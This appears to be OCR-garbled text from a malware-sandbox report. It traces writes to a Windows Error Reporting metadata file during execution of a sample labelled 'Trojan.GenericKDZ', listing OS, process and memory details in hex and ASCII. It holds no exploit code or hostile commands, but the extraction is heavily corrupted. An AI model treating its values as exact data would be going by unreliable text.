<W.i.n.d.o.w.s.N.T.V.e.r.s. success or wait 1
i.0.n.>.1.0...0.
<./.W.i.n.d.o.w.
s.N.T.V.e.r.s.i.o.n.>.
success or wait 1
success or wait 2
<.B.u.i.l.d.>.1.7.1.3.4.<./.B. success or wait 1
wild.>.
success or wait 1
success or wait 2
<.P.r.o.d.u.c.t.>.(.0.x.3.0.). success or wait 1
. .W.i.n.d.ow.s. .1.0. .P.r.
o0.<./P.ro.d.u.c.t>.
success or wait 1
success or wait 2
<.E.d.tio.n>P.r.o.fes. success orwait 1
s..o.n.al.</E.d.itio.n.>.
success or wait 1
success or wait 2

Source
Address

701B497A

701B497A

701B497A

701B497A

701B497A

701B497A

701B497A

701B497A

701B497A

701B497A

701B497A

701B497A

701B497A

701B497A

701B497A

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset

unknown 134

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Length Value

44

4

2

64

46

3c 00 42 00 75 00 69
00 6¢ 00 64 00 53 00
7400 72 00 69 00 6e
00 67 00 3e 00 31 00
37 0031003300 34
00 2e 00 31 00 2e 00
61 00 6d 00 64 00 36
00 34 00 66 00 72 00
6500 2e 00 72 00 73
00 34 00 5f 00 72 00
65 00 6¢ 00 65 00 61
00 73 00 65 00 2e 00
31 00 38 00 30 00 34
00 31 00 30 00 2d 00
31 00 38 00 30 00 34
00 3c 00 2f 00 42 00
7500 69 00 6¢ 00 64
0053 00 74 00 72 00
69 00 6e 00 67 00 3e
00

0d 00 0a 00

09 00

3c 00 52 00 65 00 76
00 69 00 73 00 69 00
6f 00 6e 00 3e 00 31
00 3c 00 2f 00 52 00
65 00 76 00 69 00 73
00 69 00 6f 00 6e 00
3e 00

0d 00 0a 00

09 00

3c 00 46 00 6¢ 00 61
00 76 00 6f 00 72 00
3e 00 4d 00 75 00 6¢
00 74 00 69 00 70 00
72 00 6f 00 63 00 65
00 73 00 73 00 6f 00
72 002000 46 00 72
00 65 00 65 00 3c 00
2f 00 46 00 6¢ 00 61
00 76 00 6f 00 72 00
3e 00

0d 00 0a 00

09 00

3c 0041 00 72 00 63
00 68 00 69 00 74 00
65 00 63 00 74 00 75
00 72 00 65 00 3e 00
58 00 36 00 34 00 3c
00 2f 00 41 00 72 00
63 00 68 00 69 00 74
00 65 00 63 00 74 00
7500 72 00 65 00 3e
00

0d 00 0a 00

09 00

3c 00 4c 00 43 00 49
00 44 00 3e 00 31 00
30 00 33 00 33 00 3c
00 2f 00 4c 00 43 00
49 00 44 00 3e 00

0d 00 0a 00

09 00

3c 00 2f 00 4f 00 53
00 56 00 65 00 72 00
7300 69 00 6f 00 6e
00 49 00 6e 00 66 00
6f 00 72 00 6d 00 61
00 74 00 69 00 6f 00
6e 00 3e 00

Ascii
<.B.u.ild.S.trin.g.>.1.7.
1.34..1.am.d.6.4fre..
rs.4._rele.as.e..1.8.0.
4.1.0.-.1.8.0.4.<./.B.u.i.L.d.
S.trin.g.>.

<.R.e.w.is.ion>1</R.e.

v.i.s.i.o.n>.

<.F.lLa.v.o.r.>.M.u.l.tip.r.
o.c.e.s.s.o.r. .F.re.e.</F.
l.a.v.o.r>.

<Ar.c.hite.c.ture>X.
6.4.</Ar.c.h.ite.c.tu.r.
e.>.

<.L.C.1.D.>.1.0.3.3.
<./.L.C.L.D.>.

<./.0.S.V.errs..o.n.l.n.fo.
rm.a.ti.o.n.>.

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count Address

1

1

2

1

Source
Symbol

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown
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File Path Offset
C:\ProgramData\Microsoft\Windo unknown 4
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 40
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 4
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 30
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 4
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2

ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 146

ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 4
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 90
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 4
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 44
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 4
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2

ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

Copyright null 2021

Length Value

0d 00 0a 00

09 00

3c 00 50 00 72 00 6f
00 63 00 65 00 73 00
73 00 49 00 6e 00 66
00 6f 00 72 00 6d 00
61 00 74 00 69 00 6f
00 6e 00 3e 00

0d 00 0a 00

09 00

3c 00 50 00 69 00 64
00 3e 00 37 00 31 00
34 00 30 00 3c 00 2f
00 50 00 69 00 64 00
3e 00

0d 00 0a 00

09 00

3c 00 49 00 6d 00 61
00 67 00 65 00 4e 00
61 00 6d 00 65 00 3e
00 53 00 65 00 63 00
75007200 69 00 74
00 65 00 49 00 6e 00
66 00 6f 00 2e 00 63
00 6f 00 6d 00 2e 00
54 00 72 00 6f 00 6a
00 61 00 6e 00 2e 00
47 00 65 00 6e 00 65
00 72 00 69 00 63 00
4b 00 44 00 5a 00 2e
00 37 00 33 00 31 00
3200 34 00 2e 00 31
00 39 00 31 00 37 00
30 00 2e 00 65 00 78
00 65 00 3c 00 2f 00
49 00 6d 00 61 00 67
00 65 00 4e 00 61 00
6d 00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 43 00 6d 00 64
00 4c 00 69 00 6e 00
65 00 53 00 69 00 67
00 6e 00 61 00 74 00
7500 72 00 65 00 3e
00 30 00 30 00 30 00
30 00 30 00 30 00 30
00 30 00 3c 00 2f 00
4300 6d 00 64 00 4c
00 69 00 6e 00 65 00
53 00 69 00 67 00 6e
00 61 00 74 00 75 00
7200 65 00 3e 00

0d 00 0a 00

09 00

3c 00 55 00 70 00 74
00 69 00 6d 00 65 00
3e 00 32 00 32 00 37
00 37 00 31 00 3c 00
2f 0055 00 70 00 74
00 69 00 6d 00 65 00
3e 00

0d 00 0a 00

09 00

Source

Ascii Completion Count Address Symbol
success or wait 1 701B497A unknown
success or wait 1 701B497A unknown

<.P.ro.c.e.s.s.l.nf.o.orm.a. success or wait 1 701B497A unknown

tio.n.>.
success or wait 1 701B497A unknown
success or wait 2 701B497A unknown
<.P.i.d.>.7.1.4.0.<./.P.i.d.>. success or wait 1 701B497A unknown
success or wait 1 701B497A unknown
success or wait 2 701B497A unknown
<..m.a.g.e.N.a.m.e.>.S.e.c success or wait 1 701B497A unknown

.urite.lnfo..com..Tr.

o.j.a.n..G.e.n.e.r.i.c.K.D.Z.

.7.31.2.4..1.9.1.7.0...e.x.

e.</.Im.a.g.e.N.am.e.>.
success or wait 1 701B497A unknown
success or wait 2 701B497A unknown

<.C.m.d.L.i.n.e.S.i.g.n.a.t.u success or wait 1 701B497A unknown

.r.e.>.0.0.0.0.0.0.0.0.

<./.C.m.

d.L.i.n.e.S.i.g.n.ature>.
success or wait 1 701B497A unknown
success or wait 2 701B497A unknown

<.U.p.tim.e>.2.27.7.1. success or wait 1 701B497A unknown

<./U.p.tim.e.>.
success or wait 1 701B497A unknown
success or wait 2 701B497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset

unknown 82

unknown 4

unknown 2

unknown 52

unknown 4

unknown 2

unknown 44

unknown 4

unknown 2

unknown 88

unknown 4

unknown 2

unknown 72

unknown 4

unknown 2

unknown 74

Length Value

3c 00 57 00 6f 00 77
00 36 00 34 00 20 00
67 00 75 00 65 00 73
00 74 00 3d 00 22 00
33 003300320022
00 20 00 68 00 6f 00
7300 74 00 3d 00 22
00 33 00 34 00 34 00
30 00 34 00 22 00 3e
00 31 00 3c 00 2f 00
57 00 6f 00 77 00 36
00 34 00 3e 00

0d 00 0a 00

09 00

3c 0049 00 70 00 74
00 45 00 6e 00 61 00
62 00 6¢ 00 65 00 64
00 3e 00 30 00 3c 00
2f 0049 00 70 00 74
00 45 00 6e 00 61 00
62 00 6¢ 00 65 00 64
00 3e 00

0d 00 0a 00

09 00

3c 00 50 00 72 00 6f
00 63 00 65 00 73 00
7300 56 00 6d 00 49
00 6e 00 66 00 6f 00
72 00 6d 00 61 00 74
00 69 00 6f 00 6e 00
3e 00

0d 00 0a 00

09 00

3c 00 50 00 65 00 61
00 6b 00 56 00 69 00
7200 74 00 75 00 61
00 6¢ 00 53 00 69 00
7a 00 65 00 3e 00 31
00 30 00 32 00 31 00
37 00 34 00 37 00 32
00 30 00 3c 00 2f 00
50 00 65 00 61 00 6b
00 56 00 69 00 72 00
7400 75 00 61 00 6¢
00 53 00 69 00 7a 00
65 00 3e 00

0d 00 0a 00

09 00

3¢ 00 56 00 69 00 72
00 74 00 75 00 61 00
6¢ 00 53 00 69 00 7a
00 65 00 3e 00 31 00
30 00 32 00 31 00 36
00 36 00 3500 32 00
38 00 3c 00 2f 00 56
00 69 00 72 00 74 00
7500 61 00 6¢ 00 53
00 69 00 7a 00 65 00
3e 00

0d 00 0a 00

09 00

3¢ 00 50 00 61 00 67
00 65 00 46 00 61 00
7500 6¢ 00 74 00 43
00 6f 00 75 00 6e 00
74 00 3e 00 33 00 38
00 36 00 33 00 3c 00
2f 00 50 00 61 00 67
00 65 00 46 00 61 00
7500 6¢ 00 74 00 43
00 6f 00 75 00 6e 00
74 00 3e 00

Ascii Completion

<W.o.w.6.4. success or wait
4.4.04.">.1.

<./W.o.w.6.4.>.

success or wait

success or wait

<.l.p.t.E.n.a.b.l.e.d.>.0.<./. success or wait
l.p.t.E.n.a.b.l.e.d.>.

success or wait

success or wait

<.P.ro.c.e.s.s.V.m.L.n.f.o.r. success or wait
m.a.t.i.o.n.>.

success or wait

success or wait

<.P.eak.\V.irtualS.iz success orwait
e>.1.0.2.1.7.4.7.2.0.
<./P.e.

akV.irtualSize>.

success or wait

success or wait

<.\VirtualS.ize>10. success orwait
2.1.6.6.5.2.8.<./.V.irtu.a.

.S.i.z.e>.

success or wait

success or wait

<.P.a.g.e.F.a.u.l.t.C.0.u.n.t. success or wait
>.3.8.6.3.

<./.P.a.g.e.F.a.u.l.

t.C.o.u.n.t.>.

Source

Count Address Symbol

1

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 98 3c 005000650061 <.P.e.a.kW.o.rk.in.g.S.e.t success or wait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml 00 6b 00 57 00 6f00 .S.i.z.e.>.1.4.4.9.5.7.4.4.

7200 6b 0069 00 6e <./
00670053006500 P.eakW.o.rkings.etsS
7400530069007a .i.z.e.>.
00 65 00 3e 00 31 00

34 00 34 00 39 00 35

00 37 00 34 00 34 00

3c 00 2f 00 50 00 65

00 61 00 6b 00 57 00

6f 00 72 00 6b 00 69

00 6e 00 67 00 53 00

65 00 74 00 53 00 69

00 7a 00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait g 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 82 3c0057006f0072 <.W.o.rk.in.g.S.etS.i.z.e. success or wait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml 00 6b 00 69 00 6e 00 >.1.4.4.9.1.6.4.8.

67 005300650074 <./W.o.rk.
00530069007a00 in.g.S.etS.ize>.
65 00 3e 00 31 00 34

00 34 00 39 00 31 00

36 00 34 00 38 00 3c

00 2f 00 57 00 6f 00

72 00 6b 00 69 00 6e

00 67 00 53 00 65 00

7400 53 00 69 00 7a

00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait g 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 114 3c00510075006f <.Q.u.o.ta.P.eak.P.a.g.e. success orwait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml 0074 0061005000 d.

65006100 6b 0050 P.o.0.lU.s.a.g.e>1.85.6.
0061 00 67 006500 8.8.

64 00 50 00 6f 00 6f <./.Q.u.0.t.a.P.e.ak.P.ag.
006c 0055007300 e.d.P.o.o.l.lUs.ag.e.>.

61 00 67 00 65 00 3e

00 31 00 38 00 35 00

36 00 38 00 38 00 3c

00 2f 00 51 00 75 00

6f 00 74 00 61 00 50

00 65 00 61 00 6b 00

50 00 61 00 67 00 65

00 64 00 50 00 6f 00

6f 00 6¢ 00 55 00 73

00 61 00 67 00 65 00

3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 98 3c00510075006f <.Q.u.o.ta.P.a.g.e.d.P.o.0o. success or wait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml 00740061005000 lU.s.a.g.e.>.1.854.6.4.

6100 67 00 650064 <./.Q.
00 50 00 6f 00 6f 00 6¢ u.o.t.a.P.a.g.e.d.P.o.0.l.U.s
00550073006100 .a.g.e.>.
67 00 65 00 3e 00 31

00 38 00 35 00 34 00

36 00 34 00 3c 00 2f

00 51 00 75 00 6f 00

7400 61 00 50 00 61

00 67 00 65 00 64 00

50 00 6f 00 6f 00 6¢

00 55 00 73 00 61 00

67 00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\ProgramData\Microsoft\Windo unknown 124 3c00510075006f <.Q.u.o.t.a.P.e.a.k.N.o.n.P. success or wait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml 00740061005000 a.

6500 61 00 6b 00 4e g.e.d.P.o.0.l.U.s.a.g.e.>.8.
00 6f 00 6e 0050 00  2.9.6.8.

6100 67 00 6500 64 <./.Q.u.0.t.a.P.e.ak.N.

00 50 00 6f 00 6f00  o.n.P.a.g.e.d.P.o.0.l.U.s.a.
6c 005500730061 g.e>.

00 67 00 65 00 3e 00

3800 32 00 39 00 36

00 38 00 3c 00 2f 00

51 00 75 00 6f 00 74

00 61 00 50 00 65 00

61 00 6b 00 4e 00 6f

00 6e 00 50 00 61 00

67 00 65 00 64 00 50

00 6f 00 6f 00 6¢ 00

5500 73 00 61 00 67

00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 108 3c00510075006f <.Q.u.o.t.a.N.o.n.P.a.g.e.d. success or wait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml 00740061004e00 P.

6f 00 6e 0050 00 61  0.0.l.U.s.a.g.e.>.8.2.6.9.6.
0067 00 65006400 <.

50 00 6f 00 6f 00 6c  /.Q.u.o.t.a.N.o.n.P.a.g.e.d.
00550073006100 P.o.0.lUs.ag.e>.

67 00 65 00 3e 00 38

00 32 00 36 00 39 00

36 00 3c 00 2f 00 51

00 75 00 6f 00 74 00

61 00 4e 00 6f 00 6e

00 50 00 61 00 67 00

65 00 64 00 50 00 6f

00 6f 00 6¢ 00 55 00

7300 61 00 67 00 65

00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 76 3c 005000610067 <.P.ag.e.fileU.s.ag.e> successorwait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml 00 650066 006900 7.8.6.4.3.2.0.<./.P.a.g.e.fi.

6c 006500550073 leU.s.a.g.e>.
00 61 00 67 00 65 00

3e 00 37 00 38 00 36

00 34 00 33 00 32 00

30 00 3c 00 2f 00 50

00 61 00 67 00 65 00

66 00 69 00 6¢ 00 65

00 55 00 73 00 61 00

67 00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 92 3c 005000650061 <.P.e.ak.P.ag.ef.ileU.s. success orwait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml 00 6b 0050006100 a.g.e.>.7.8.7.25.1.2.

67 00 6500 66 0069 <./.P.e.

00 6c 00 65005500 ak.P.a.g.e.file.U.s.ag.e.
73 006100670065 >.

00 3e 00 37 00 38 00

370032 00 35 00 31

00 32 00 3c 00 2f 00

50 00 65 00 61 00 6b

00 50 00 61 00 67 00

65 00 66 00 69 00 6¢

00 65 00 55 00 73 00

61 00 67 00 65 00 3e

00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 701B497A unknown

ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\ProgramData\Microsoft\Windo unknown 72 3c005000720069 <.P.rivate.U.s.a.g.e.>7. success or wait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml 0076 0061007400 8.6.4.3.2.0.</P.r.iv.ate.

65005500730061 U.s.a.g.e.>.
00 67 00 65 00 3e 00
37 00 38 00 36 00 34
00 33 00 32 00 30 00
3c 00 2f 00 50 00 72
00 69 00 76 00 61 00

74 00 65 00 55 00 73

00 61 00 67 00 65 00

3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 46 3c002f00500072 <./.P.r.o.ce.s.s.V.m.l.n.f.o. success or wait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml 00 6f00 63 006500 r.m.a.t.i.o.n.>.

7300 73 00 56 00 6d

00 49 00 6e 00 66 00
6f 00 72 00 6d 00 61
00 74 00 69 00 6f 00

6e 00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 30 3c005000610072 <.P.ar.e.n.tP.r.o.c.e.s.s.> success orwait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml 00 65 00 6e 00 74 00

50 00 72 00 6f 00 63
00 65 00 73 00 73 00

3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 40 3c 005000 72006f <.P.r.o.c.e.s.s.lnform.a. success orwait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml 0063 0065007300 t.i.o.n.>.

73 00 49 00 6e 00 66
00 6f 00 72 00 6d 00
61 00 74 00 69 00 6f
00 6e 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 4 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 30 3c 005000690064 <.P.i.d.>3.4.4.0.<./.P.i.d.>. success or wait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml 00 3e 00 33 00 34 00

34 00 30 00 3c 00 2f
00 50 00 69 00 64 00

3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 4 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 70 3c0049006d 0061 <..m.a.g.e.N.a.m.e.>.e.x.p success or wait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml 0067 006500 4e 00 .l.or.e.r..ex.e.

61 00 6d 00 6500 3e <./.lm.a.g.e.N.am.e>.
00 65 00 78 00 70 00

6¢ 00 6f 00 72 00 65

00 72 00 2e 00 65 00

78 00 65 00 3c 00 2f

00 49 00 6d 00 61 00

67 00 65 00 4e 00 61

00 6d 00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 4 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 90 3c0043006d0064 <.C.m.d.L.i.n.e.S..g.n.a.t.u success or wait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml 00 4c 00 69 00 6e 00 .r.e.>.8.0.0.0.4.0.0.5.

65 005300690067 <./.C.m.
006e 0061007400 d.L.i.ne.S.ig.nature.>.
7500 72 00 65 00 3e

00 38 00 30 00 30 00

30 00 34 00 30 00 30

00 35 00 3c 00 2f 00

43 00 6d 00 64 00 4c

00 69 00 6e 00 65 00

53 00 69 00 67 00 6e

00 61 00 74 00 75 00

72 00 65 00 3e 00
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
